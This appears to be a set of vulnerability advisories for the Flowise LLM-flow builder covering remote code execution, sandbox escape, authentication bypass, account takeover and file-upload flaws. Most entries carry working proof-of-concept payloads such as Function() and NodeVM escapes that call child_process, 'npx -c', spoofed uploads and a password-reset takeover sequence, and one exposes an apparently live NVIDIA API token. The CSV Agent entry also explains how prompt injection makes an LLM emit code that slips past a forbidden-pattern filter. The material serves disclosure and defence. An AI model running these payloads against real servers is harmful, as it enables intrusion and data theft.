Description
Cause of the Vulnerability
The CustomMCP node allows users to input configuration settings for connecting to an external MCP (Model Context Protocol) server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation.
Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as childprocess and fs.
Vulnerability Flow
1. User Input Received: Input is provided via the API endpoint /api/v1/node-load-method/customMCP through the mcpServerConfig parameter. 2. Variable Substitution: The substituteVariablesInString function replaces template variables like $vars.xxx, but no security filtering is applied during this step. 3. Dangerous Code Execution: The convertToValidJSONString function executes the input using Function('return ' + inputString)(). If the inputString contains malicious code, it gets executed in the global Node.js context, allowing actions such as command execution and file system access.
Taint Flow
- Taint 01: Route Registration index.ts (Line 5)
- Taint 02: Controller index.ts (Line 57–78)
- Taint 03: Service index.ts (Line 91–94)
- Taint 04: CustomMCP Node Entry Point CustomMCP.ts (Line 132)
- Taint 05: Variable Substitution CustomMCP.ts (Line 220)
- Taint 06: Dangerous Constructor Execution CustomMCP.ts (Line 262–270)
Proof of Concept (PoC)
bash curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \ -H "Content-Type: application/json" \ -H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \ -d '{ "loadMethod": "listActions", "inputs": { "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"childprocess\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})" } }' <img width="1907" height="958" alt="image" src="https://github.com/user-attachments/assets/78b50eb1-67af-4c8b-97ea-7e2c05426962" />
When executed, this creates a file /tmp/RCE.txt on the server, confirming command execution.
Impact
Complete System Takeover and Infrastructure Threat
This vulnerability allows attackers to execute arbitrary JavaScript code on the Flowise server, leading to:
- Full system compromise - File system access - Command execution - Sensitive data exfiltration
As only an API token is required, this poses an extreme security risk to business continuity and customer data.
Summary Due to unsafe serialization of stdio commands in the MCP adapter, an authenticated attacker can add an MCP stdio server with an arbitrary command, achieving command execution.
Details The vulnerability lies in a bug in the input sanitization from the “Custom MCP” configuration in http://localhost:3000/canvas - where any user can add a new MCP, when doing so - adding a new MCP using stdio, the user can add any command, even though your code have input sanitization checks such as validateCommandInjection and validateArgsForLocalFileAccess, and a list of predefined specific safe commands - these commands, for example "npx" can be combined with code execution arguments ("-c touch /tmp/pwn") that enable direct code execution on the underlying OS.
https://github.com/FlowiseAI/Flowise/blob/d848baeb6bd9737a1e7fc912349c45fbdcc7bb38/packages/components/nodes/tools/MCP/core.ts#L223
https://github.com/FlowiseAI/Flowise/blob/d848baeb6bd9737a1e7fc912349c45fbdcc7bb38/packages/components/nodes/tools/MCP/core.ts#L177
https://github.com/FlowiseAI/Flowise/blob/d848baeb6bd9737a1e7fc912349c45fbdcc7bb38/packages/components/nodes/tools/MCP/core.ts#L269
PoC Create a new Custom MCP and add an "npx -c" command. { "command": "npx", "args": [ "-c", "touch /tmp/pwn" ] } <img width="358" height="628" alt="Screenshot 2026-01-12 at 18 32 37" src="https://github.com/user-attachments/assets/d95c1ae2-23a7-4afe-b586-722003baf50e" />
Impact This is an authenticated arbitrary command execution due to unsanitized input, even though the input is sanitized, more protections should be added in order to close ways for attackers to execute arbitrary commands.
Flowise contains a path traversal vulnerability in the /api/v1/document-store/loader/process endpoint that allows unauthenticated attackers to write arbitrary files to the filesystem. Attackers can exploit unsanitized fileName parameters with ../ sequences to overwrite critical files like package.json and achieve remote code execution when the application restarts.
FlowiseAI Flowise v2.2.6 was discovered to contain an arbitrary file upload vulnerability in /api/v1/attachments.
The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, in Flowise versions before 3.0.1 the default installation operates without authentication unless explicitly configured. This combination allows unauthenticated network attackers to execute unsandboxed OS commands.
Summary
The forgot-password endpoint in Flowise returns sensitive information including a valid password reset tempToken without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO).
This vulnerability applies to both the cloud service (cloud.flowiseai.com) and self-hosted/local Flowise deployments that expose the same API.
CVSS v3.1 Base Score: 9.8 (Critical) Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
---
Details
The endpoint /api/v1/account/forgot-password accepts an email address as input. Instead of only sending a reset email, the API responds directly with sensitive user details, including:
User ID, name, email, hashed credential, status, timestamps. A valid tempToken and its expiry, which is intended for password reset. This tempToken can then be reused immediately in the /api/v1/account/reset-password endpoint to reset the password of the targeted account without any email verification or user interaction. Exploitation requires only the victim’s email address, which is often guessable or discoverable. Because the vulnerable endpoints exist in both Flowise Cloud and local/self-hosted deployments, any exposed instance is vulnerable to account takeover.
This effectively allows any unauthenticated attacker to take over arbitrary accounts (including admin or privileged accounts) by requesting a reset for their email.
---
PoC
1. Request a reset token for the victim
bash curl -i -X POST https://<target>/api/v1/account/forgot-password \ -H "Content-Type: application/json" \ -d '{"user":{"email":"<victim@example.com>"}}'
Response (201 Created):
json { "user": { "id": "<redacted-uuid>", "name": "<redacted>", "email": "<victim@example.com>", "credential": "<redacted-hash>", "tempToken": "<redacted-tempToken>", "tokenExpiry": "2025-08-19T13:00:33.834Z", "status": "active" } }
2. Use the exposed tempToken to reset the password
bash curl -i -X POST https://<target>/api/v1/account/reset-password \ -H "Content-Type: application/json" \ -d '{ "user":{ "email":"<victim@example.com>", "tempToken":"<redacted-tempToken>", "password":"NewSecurePassword123!" } }'
Expected Result: 200 OK The victim’s account password is reset, allowing full login.
---
Impact
Type: Authentication bypass / Insecure direct object exposure. Impact:
Any account (including administrator or high-value accounts) can be reset and taken over with only the email address. Applies to both Flowise Cloud and locally hosted/self-managed deployments. Leads to full account takeover, data exposure, impersonation, and possible control over organizational assets. High likelihood of exploitation since no prior access or user interaction is required.
---
Recommended Remediation
Do not return reset tokens or sensitive account details in API responses. Tokens must only be delivered securely via the registered email channel. Ensure forgot-password responds with a generic success message regardless of input, to avoid user enumeration. Require strong validation of the tempToken (e.g., single-use, short expiry, tied to request origin, validated against email delivery). Apply the same fixes to both cloud and self-hosted/local deployments. Log and monitor password reset requests for suspicious activity. Consider multi-factor verification for sensitive accounts.
Credit
---
⚠️ This is a Critical ATO vulnerability because it allows attackers to compromise any account with only knowledge of an email address, and it applies to all deployment models (cloud and local).
---
Vulnerability Description
---
Vulnerability Overview - The /api/v1/attachments/:chatflowId/:chatId endpoint is listed in WHITELISTURLS, allowing unauthenticated access to the file upload API. - While the server validates uploads based on the MIME types defined in chatbotConfig.fullFileUpload.allowedUploadFileTypes, it implicitly trusts the client-provided Content-Type header (file.mimetype) without verifying the file's actual content (magic bytes) or extension (file.originalname). - Consequently, an attacker can bypass this restriction by spoofing the Content-Type as a permitted type (e.g., application/pdf) while uploading malicious scripts or arbitrary files. Once uploaded via addArrayFilesToStorage, these files persist in backend storage (S3, GCS, or local disk). This vulnerability serves as a critical entry point that, when chained with other features like static hosting or file retrieval, can lead to Stored XSS, malicious file hosting, or Remote Code Execution (RCE).
Vulnerable Code
- Upload Route Definition https://github.com/FlowiseAI/Flowise/blob/d17c4394a238b49327b493c89feee45f3a20bb91/packages/server/src/routes/attachments/index.ts#L7-L10 tsx // CREATE router.post('/:chatflowId/:chatId', getMulterStorage().array('files'), attachmentsController.createAttachment) export default router - Mount /api/v1/attachments to the global router https://github.com/FlowiseAI/Flowise/blob/d17c4394a238b49327b493c89feee45f3a20bb91/packages/server/src/routes/index.ts#L72-L77 tsx const router = express.Router() router.use('/ping', pingRouter) router.use('/apikey', apikeyRouter) router.use('/assistants', assistantsRouter) router.use('/attachments', attachmentsRouter) - Include /api/v1/attachments in the WHITELISTURLS list https://github.com/FlowiseAI/Flowise/blob/d17c4394a238b49327b493c89feee45f3a20bb91/packages/server/src/utils/constants.ts#L6-L26 tsx export const WHITELISTURLS = [ '/api/v1/verify/apikey/', '/api/v1/chatflows/apikey/', '/api/v1/public-chatflows', '/api/v1/public-chatbotConfig', '/api/v1/public-executions', '/api/v1/prediction/', '/api/v1/vector/upsert/', '/api/v1/node-icon/', '/api/v1/components-credentials-icon/', '/api/v1/chatflows-streaming', '/api/v1/chatflows-uploads', '/api/v1/openai-assistants-file/download', '/api/v1/feedback', '/api/v1/leads', '/api/v1/get-upload-file', '/api/v1/ip', '/api/v1/ping', '/api/v1/version', '/api/v1/attachments', '/api/v1/metrics', - Bypass JWT validation if the URL is whitelisted https://github.com/FlowiseAI/Flowise/blob/d17c4394a238b49327b493c89feee45f3a20bb91/packages/server/src/index.ts#L213-L228 tsx const denylistURLs = process.env.DENYLISTURLS ? process.env.DENYLISTURLS.split(',') : [] const whitelistURLs = WHITELISTURLS.filter((url) => !denylistURLs.includes(url)) const URLCASEINSENSITIVEREGEX: RegExp = /\/api\/v1\//i const URLCASESENSITIVEREGEX: RegExp = /\/api\/v1\// await initializeJwtCookieMiddleware(this.app, this.identityManager) this.app.use(async (req, res, next) => { // Step 1: Check if the req path contains /api/v1 regardless of case if (URLCASEINSENSITIVEREGEX.test(req.path)) { // Step 2: Check if the req path is casesensitive if (URLCASESENSITIVEREGEX.test(req.path)) { // Step 3: Check if the req path is in the whitelist const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url)) if (isWhitelisted) { next() - Multer Configuration: Saves files without file type validation https://github.com/FlowiseAI/Flowise/blob/d17c4394a238b49327b493c89feee45f3a20bb91/packages/server/src/utils/index.ts#L1917-L1960 tsx export const getUploadPath = (): string => { return process.env.BLOBSTORAGEPATH ? path.join(process.env.BLOBSTORAGEPATH, 'uploads') : path.join(getUserHome(), '.flowise', 'uploads') } export function generateId() { return uuidv4() } export const getMulterStorage = () => { const storageType = process.env.STORAGETYPE ? process.env.STORAGETYPE : 'local' if (storageType === 's3') { const s3Client = getS3Config().s3Client const Bucket = getS3Config().Bucket const upload = multer({ storage: multerS3({ s3: s3Client, bucket: Bucket, metadata: function (req, file, cb) { cb(null, { fieldName: file.fieldname, originalName: file.originalname }) }, key: function (req, file, cb) { cb(null, ${generateId()}) } }) }) return upload } else if (storageType === 'gcs') { return multer({ storage: new MulterGoogleCloudStorage({ projectId: process.env.GOOGLECLOUDSTORAGEPROJID, bucket: process.env.GOOGLECLOUDSTORAGEBUCKETNAME, keyFilename: process.env.GOOGLECLOUDSTORAGECREDENTIAL, uniformBucketLevelAccess: Boolean(process.env.GOOGLECLOUDUNIFORMBUCKETACCESS) ?? true, destination: uploads/${generateId()} }) }) } else { return multer({ dest: getUploadPath() }) } } - Transfers uploaded files to storage without verification https://github.com/FlowiseAI/Flowise/blob/d17c4394a238b49327b493c89feee45f3a20bb91/packages/server/src/utils/createAttachment.ts#L124-L158 tsx const files = (req.files as Express.Multer.File[]) || [] const fileAttachments = [] if (files.length) { const isBase64 = req.body.base64 for (const file of files) { if (!allowedFileTypes.length) { throw new InternalFlowiseError( StatusCodes.BADREQUEST, File type '${file.mimetype}' is not allowed. Allowed types: ${allowedFileTypes.join(', ')} ) } // Validate file type against allowed types if (allowedFileTypes.length > 0 && !allowedFileTypes.includes(file.mimetype)) { throw new InternalFlowiseError( StatusCodes.BADREQUEST, File type '${file.mimetype}' is not allowed. Allowed types: ${allowedFileTypes.join(', ')} ) } await checkStorage(orgId, subscriptionId, appServer.usageCacheManager) const fileBuffer = await getFileFromUpload(file.path ?? file.key) const fileNames: string[] = [] // Address file name with special characters: https://github.com/expressjs/multer/issues/1104 file.originalname = Buffer.from(file.originalname, 'latin1').toString('utf8') const { path: storagePath, totalSize } = await addArrayFilesToStorage( file.mimetype, fileBuffer, file.originalname, fileNames, orgId, chatflowid, chatId )
PoC
---
PoC Description - Create a local file named shell.js containing arbitrary JavaScript code (or a malicious payload). - Send a multipart/form-data request to the /api/v1/attachments/891f64a2-a26f-4169-b333-905dc96c200a/:chatId endpoint without any authentication (login, session, or API keys). - During the upload, retain the filename as shell.js but spoof the Content-Type header as application/pdf. - This exploits the server's reliance solely on the client-provided file.mimetype, forcing it to process the malicious JS file as an allowed PDF, thereby confirming unauthenticated arbitrary file upload.
PoC
bash curl -X POST \ "http://localhost:3000/api/v1/attachments/891f64a2-a26f-4169-b333-905dc96c200a/$(uuidgen)" \ -F "files=@shell.js;type=application/pdf"
<img width="1916" height="1011" alt="image" src="https://github.com/user-attachments/assets/45679d95-00b9-4bee-9c94-7bd9403554d5" />
Impact
---
1. Root Cause The vulnerability stems from relying solely on the MIME type without cross-validating the file extension or actual content. This allows attackers to upload executable files (e.g., .js, .php) or malicious scripts (.html) by masquerading them as benign images or documents.
2. Key Attack Scenarios
- Server Compromise (RCE): An attacker uploads a Web Shell and triggers its execution on the server. Successful exploitation grants system privileges, allowing unauthorized access to internal data and full control over the server. - Client-Side Attack (Stored XSS): An attacker uploads files containing malicious scripts (e.g., HTML, SVG). When a victim views the file, the script executes within their browser, leading to session cookie theft and account takeover.
3. Impact This vulnerability is rated as High severity. The risk is particularly critical if the system utilizes shared storage (e.g., S3, GCS) or static hosting features, as the compromise could spread to the entire infrastructure and affect other tenants.
Missing Authentication on NVIDIA NIM Endpoints
Summary
The NVIDIA NIM router (/api/v1/nvidia-nim/) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.
Vulnerability Details
| Field | Value | |-------|-------| | CWE | CWE-306: Missing Authentication for Critical Function | | Affected File | packages/server/src/utils/constants.ts | | Affected Line | Line 20 ('/api/v1/nvidia-nim' in WHITELISTURLS) | | CVSS 3.1 | 8.6 (High) |
Root Cause
In packages/server/src/utils/constants.ts, the NVIDIA NIM route is added to the authentication whitelist:
typescript export const WHITELISTURLS = [ // ... other URLs '/api/v1/nvidia-nim', // Line 20 - bypasses JWT/API-key validation // ... ]
This causes the global auth middleware to skip authentication checks for all endpoints under /api/v1/nvidia-nim/. None of the controller actions in packages/server/src/controllers/nvidia-nim/index.ts perform their own authentication checks.
Affected Endpoints
| Method | Endpoint | Risk | |--------|----------|------| | GET | /api/v1/nvidia-nim/get-token | Leaks valid NVIDIA API token | | GET | /api/v1/nvidia-nim/preload | Resource consumption | | GET | /api/v1/nvidia-nim/download-installer | Resource consumption | | GET | /api/v1/nvidia-nim/list-running-containers | Information disclosure | | POST | /api/v1/nvidia-nim/pull-image | Arbitrary image pull | | POST | /api/v1/nvidia-nim/start-container | Arbitrary container start | | POST | /api/v1/nvidia-nim/stop-container | Denial of Service | | POST | /api/v1/nvidia-nim/get-image | Information disclosure | | POST | /api/v1/nvidia-nim/get-container | Information disclosure |
Impact
1. NVIDIA API Token Leakage
The /get-token endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA's inference API and can list 170+ LLM models.
Token obtained: json { "accesstoken": "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", "tokentype": "Bearer", "expiresin": 3600 }
Token validation: bash curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models Returns list of 170+ available models
2. Container Runtime Manipulation
On systems with Docker/NIM installed, an unauthenticated attacker can: - List running containers (reconnaissance) - Stop containers (Denial of Service) - Start containers with arbitrary images - Pull arbitrary Docker images (resource consumption, potential malicious images)
Proof of Concept
poc.py
python #!/usr/bin/env python3 """ POC: Privileged NVIDIA NIM endpoints are unauthenticated
Usage: python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token """
import argparse import urllib.request import urllib.error
def main(): ap = argparse.ArgumentParser() ap.addargument("--target", required=True, help="Base URL, e.g. http://host:port") ap.addargument("--path", required=True, help="NIM endpoint path") ap.addargument("--method", default="GET", choices=["GET", "POST"]) ap.addargument("--data", default="", help="Raw request body for POST") args = ap.parseargs()
url = args.target.rstrip("/") + "/" + args.path.lstrip("/") body = args.data.encode("utf-8") if args.method == "POST" else None req = urllib.request.Request( url, data=body, method=args.method, headers={"Content-Type": "application/json"} if body else {}, )
try: with urllib.request.urlopen(req, timeout=10) as r: print(r.read().decode("utf-8", errors="replace")) except urllib.error.HTTPError as e: print(e.read().decode("utf-8", errors="replace"))
if name == "main": main()
<img width="1581" height="595" alt="screenshot" src="https://github.com/user-attachments/assets/85351a88-64ce-4e2c-8e67-98f217fcf989" />
Exploitation Steps
bash 1. Obtain NVIDIA API token (no authentication required) python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
2. List running containers python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers
3. Stop a container (DoS) python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \ --method POST --data '{"containerId":"<targetid>"}'
4. Pull arbitrary image python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \ --method POST --data '{"imageTag":"malicious/image","apiKey":"any"}'
Evidence
Token retrieval without authentication: $ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token {"accesstoken":"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","tokentype":"Bearer","refreshtoken":null,"expiresin":3600,"idtoken":null}
Token grants access to NVIDIA API: $ curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models {"object":"list","data":[{"id":"01-ai/yi-large",...},{"id":"meta/llama-3.1-405b-instruct",...},...]}
Container endpoints return 500 (not 401) proving auth bypass: $ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers {"statusCode":500,"success":false,"message":"Container runtime client not available","stack":{}}
References
- CWE-306: Missing Authentication for Critical Function - OWASP API Security Top 10 - API2:2023 Broken Authentication
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, an improper mass assignment (JSON injection) vulnerability in the account registration endpoint of Flowise Cloud allows unauthenticated attackers to inject server-managed fields and nested objects during account creation. This enables client-controlled manipulation of ownership metadata, timestamps, organization association, and role mappings, breaking trust boundaries in a multi-tenant environment. This vulnerability is fixed in 3.1.0.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, Flowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the FILE-STORAGE:: keyword combined with a NODEOPTIONS environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance. This vulnerability is fixed in 3.1.0.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide a command injection payload that will get interpolated and executed by the server. This vulnerability is fixed in 3.1.0.
Summary
POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node.
When E2BAPIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via childprocess.
The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 Critical.
Details
Two distinct security boundaries are violated.
1. Missing route-level authorization
packages/server/src/routes/node-custom-functions/index.ts registers the endpoint with no permission middleware:
ts router.post('/', nodesRouter.executeCustomFunction)
Other sensitive routes in the same codebase use explicit permission gates:
ts // packages/server/src/routes/chatflows/index.ts router.post( '/', checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'), chatflowsController.saveChatflow )
Global /api/v1 authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further restriction.
2. NodeVM sandbox escape
The endpoint forwards body.javascriptFunction through the following chain:
POST /api/v1/node-custom-function → packages/server/src/controllers/nodes/index.ts → packages/server/src/utils/executeCustomNodeFunction.ts → packages/components/nodes/utilities/CustomFunction/CustomFunction.ts executeJavaScriptCode(javascriptFunction, sandbox) → packages/components/src/utils.ts if !process.env.E2BAPIKEY → NodeVM fallback → [SINK] host process / childprocess
packages/components/src/utils.ts only uses the external E2B sandbox when E2BAPIKEY is set. Otherwise it silently falls back to @flowiseai/nodevm:
ts const shouldUseSandbox = useSandbox && process.env.E2BAPIKEY
Flowise explicitly frames this as a sandboxed execution path — the helper is named createCodeExecutionSandbox, its inline comment reads Execute JavaScript code using either Sandbox or NodeVM, and the NodeVM instance is configured with eval: false, wasm: false, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.
These controls do not prevent escape. The payload abuses an exception path where an Error object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host Function constructor (e.constructor.constructor), which can then access process and built-in modules such as childprocess:
js const FunctionCtor = e.constructor.constructor; const cp = FunctionCtor('return process.getBuiltinModule("childprocess")')(); return cp.execSync('id').toString().trim();
The NodeVM fallback is the practical default. packages/server/.env.example and CONTRIBUTING.md do not require E2BAPIKEY for custom JS execution, so most deployments are affected.
PoC
Standalone verification (run from the repository root with E2BAPIKEY unset):
js // pocFlowiseNodeCustomFunctionRCE2026.js const path = require('path');
delete process.env.E2BAPIKEY; process.env.TSNODECOMPILEROPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });
require(path.resolve('targets/Flowise/nodemodules/ts-node/register/transpile-only'));
const { nodeClass: CustomFunction } = require(path.resolve( 'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts' ));
const attackCode = async function f() { const error = new Error(); error.name = Object.create(null); return error.stack; } return await f().catch(e => { const FunctionCtor = e.constructor.constructor; const cp = FunctionCtor('return process.getBuiltinModule("childprocess")')(); return cp.execSync('id').toString().trim(); }); ;
(async () => { const node = new CustomFunction(); const result = await node.init( { inputs: { javascriptFunction: attackCode } }, '', { appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined } ); console.log('[RCE OUTPUT]', result); })();
Confirmed output:
[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...
HTTP trigger (requires a valid API key or session):
http POST /api/v1/node-custom-function HTTP/1.1 Host: target:3000 Authorization: Bearer <valid-api-key> Content-Type: application/json
{ "javascriptFunction": "async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\"childprocess\")')();return cp.execSync('id').toString().trim();});" }
Impact
Any authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.
The NodeVM fallback is the default for any deployment without E2BAPIKEY configured, which covers the majority of self-hosted instances.
Recommended remediation: 1. Add explicit permission gating to POST /api/v1/node-custom-function using the existing checkPermission middleware pattern. 2. Fail closed if E2BAPIKEY is absent — do not silently downgrade to NodeVM for untrusted code execution. 3. Restrict this endpoint from generic API key access.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. This vulnerability is fixed in 3.1.0.
Flowise contains an authentication bypass vulnerability in the unprotected /api/v1/account/register endpoint that allows unauthenticated attackers to create user accounts. Remote attackers can exploit this endpoint to register arbitrary accounts and authenticate to the system, gaining full API access without credentials.
Flowise before 3.0.6 (affected versions 2.2.8 and earlier) contains an arbitrary file access vulnerability due to missing validation that the chatflowId and chatId parameters are UUIDs or numbers in file handling operations. By supplying a path-traversal value (e.g., '../../../../../tmp') as the chatflow id, an unauthenticated attacker can use the /api/v1/chatflows endpoint (via addBase64FilesToStorage) to write arbitrary files, and the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints (via streamStorageFile) to read arbitrary files. Arbitrary file write may lead to remote code execution.
Flowise through 2.2.4 contains an unauthenticated arbitrary file upload vulnerability in the /api/v1/attachments endpoint when storageType is set to local. Attackers can exploit path traversal in the chatId and chatflowId parameters to upload malicious files to arbitrary directories, potentially enabling remote code execution and server compromise.
Flowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISEUSERNAME and FLOWISEPASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.
Flowise before 3.1.0 (affected versions 3.0.13 and earlier) uses a weak hardcoded default secret ('flowise') for the express-session middleware when the EXPRESSSESSIONSECRET environment variable is not set (packages/server/src/enterprise/middleware/passport/index.ts). Because this default secret is publicly visible in the source code, an attacker can forge valid signed session cookies to impersonate any user and bypass authentication.
Flowise before 3.1.0 (affected versions 3.0.13 and earlier) uses weak hardcoded default JWT secrets ('authtoken', 'refreshtoken') and default audience and issuer values ('AUDIENCE', 'ISSUER') in the enterprise passport authentication middleware (packages/server/src/enterprise/middleware/passport/index.ts). When the corresponding environment variables (JWTAUTHTOKENSECRET, JWTREFRESHTOKENSECRET, JWTAUDIENCE, JWTISSUER) are not set, the application silently falls back to these publicly known defaults, allowing an attacker to forge valid JWTs and impersonate any user, including administrators, resulting in authentication bypass.
Abstract
Trend Micro's Zero Day Initiative has identified a vulnerability affecting FlowiseAI Flowise.
Vulnerability Details
- Version tested: 3.0.13 - Installer file: https://github.com/FlowiseAI/Flowise - Platform tested: Ubuntu 25.10
Analysis
This vulnerability allows remote attackers to execute arbitrary code on affected installations of FlowiseAI Flowise. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the run method of the CSVAgents class. The issue results from the lack of proper sandboxing when evaluating an LLM-generated Python script. An attacker can leverage this vulnerability to execute code in the context of the user running the server.
Product Information
FlowiseAI Flowise version 3.0.13 — https://github.com/FlowiseAI/Flowise
Setup Instructions
bash npm install -g flowise@3.0.13 npx flowise start
Root Cause Analysis
FlowiseAI Flowise is an open source low-code tool for developers to build customized large language model (LLM) applications and AI agents. It supports integration with various LLMs, data sources, and tools in order to facilitate rapid development and deployment of AI solutions. Flowise offers a web interface with a drag-and-drop editor, as well as an API, through an Express web server accessible over HTTP on port 3000/TCP.
One such feature of Flowise is the ability to create chatflows. Chatflows use a drag-and-drop editor that allows a developer to place nodes which control how an interaction with an LLM will occur. One such node is the CSV Agent node that represents an Agent used to answer queries on a provided CSV file.
When a user makes a query against a chatflow using the CSV Agent node, the run method of the CSVAgents class is called. This method first reads the contents of the CSV file passed to the node and converts it to a base64 string. It then sets up a pyodide environment and creates a Python script to be executed in this environment. This Python script uses pandas to extract the column names and their types from the provided CSV file. The method then creates a system prompt for an LLM using this data as follows:
You are working with a pandas dataframe in Python. The name of the dataframe is df.
The columns and data types of a dataframe are given below as a Python dictionary with keys showing column names and values showing the data types. {dict}
I will ask question, and you will output the Python code using pandas dataframe to answer my question. Do not provide any explanations. Do not respond with anything except the output of the code.
Security: Output ONLY pandas/numpy operations on the dataframe (df). Do not use import, exec, eval, open, os, subprocess, or any other system or file operations. The code will be validated and rejected if it contains such constructs.
Question: {question} Output Code:
Where {dict} is the extracted column names and {question} is the initial prompt provided by the user.
This system prompt is sent to an LLM in order for it to generate a Python script based on the user's prompt, and the LLM-generated response is stored in a variable named pythonCode. The method then evaluates the pythonCode variable in a pyodide environment.
While the LLM-generated Python script is evaluated in a non-sandboxed environment, there is a list of forbidden patterns that are checked before the script is executed on the server. The function validatePythonCodeForDataFrame() enumerates through a list named FORBIDDENPATTERNS, which contains pairs of regex patterns and reasons. Each regex pattern is run against the Python script, and if the pattern is found in the script, the script is invalidated and is not run, responding to the request with a reason for rejection.
The input validation can be bypassed, which can still lead to running arbitrary OS commands on the server. An example of this is the pattern /\bimport\s+(?!pandas|numpy\b)/g, which intends to search for lines of code that import a module other than pandas or numpy. This can be bypassed by importing along with pandas or numpy. For example, consider the following lines of code:
python import pandas as np, os as pandas pandas.system("xcalc")
Here, pandas is imported, but so is the os module, with pandas as its alias. OS commands can then be invoked with pandas.system().
Using prompt injection techniques, an unauthenticated attacker with the ability to send prompts to a chatflow using the CSV Agent node may convince an LLM to respond with a malicious Python script that executes attacker-controlled commands on the Flowise server.
It is also possible for an authenticated attacker to exploit this vulnerability by specifying an attacker-controlled server in a chatflow. This server would respond to prompts with an attacker-controlled Python script instead of an LLM-generated response, which would then be evaluated on the server.
Relevant Source Code
packages/components/nodes/agents/CSVAgent/core.ts
ts import type { PyodideInterface } from 'pyodide' import as path from 'path' import { getUserHome } from '../../../src/utils'
let pyodideInstance: PyodideInterface | undefined
export async function LoadPyodide(): Promise<PyodideInterface> { if (pyodideInstance === undefined) { const { loadPyodide } = await import('pyodide') const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') } pyodideInstance = await loadPyodide(obj) await pyodideInstance.loadPackage(['pandas', 'numpy']) }
return pyodideInstance }
export const systemPrompt = You are working with a pandas dataframe in Python. The name of the dataframe is df.
The columns and data types of a dataframe are given below as a Python
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the specific flaw exists within the run method of the AirtableAgents class. The issue results from the lack of proper sandboxing when evaluating an LLM generated python script. Using prompt injection techniques, an unauthenticated attacker with the ability to send prompts to a chatflow using the Airtable Agent node may convince an LLM to respond with a malicious python script that executes attacker controlled commands on the flowise server. This vulnerability is fixed in 3.1.0.
Detection Method: Kolega.dev Deep Code Scan
| Attribute | Value | |---|---| | Severity | Medium | | CWE | CWE-522 (Insufficiently Protected Credentials) | | Location | packages/server/src/enterprise/controllers/account.controller.ts:128-135 | | Practical Exploitability | Medium | | Developer Approver | faizan@kolega.ai |
Description The checkBasicAuth endpoint validates credentials in plaintext without rate limiting and with direct comparison.
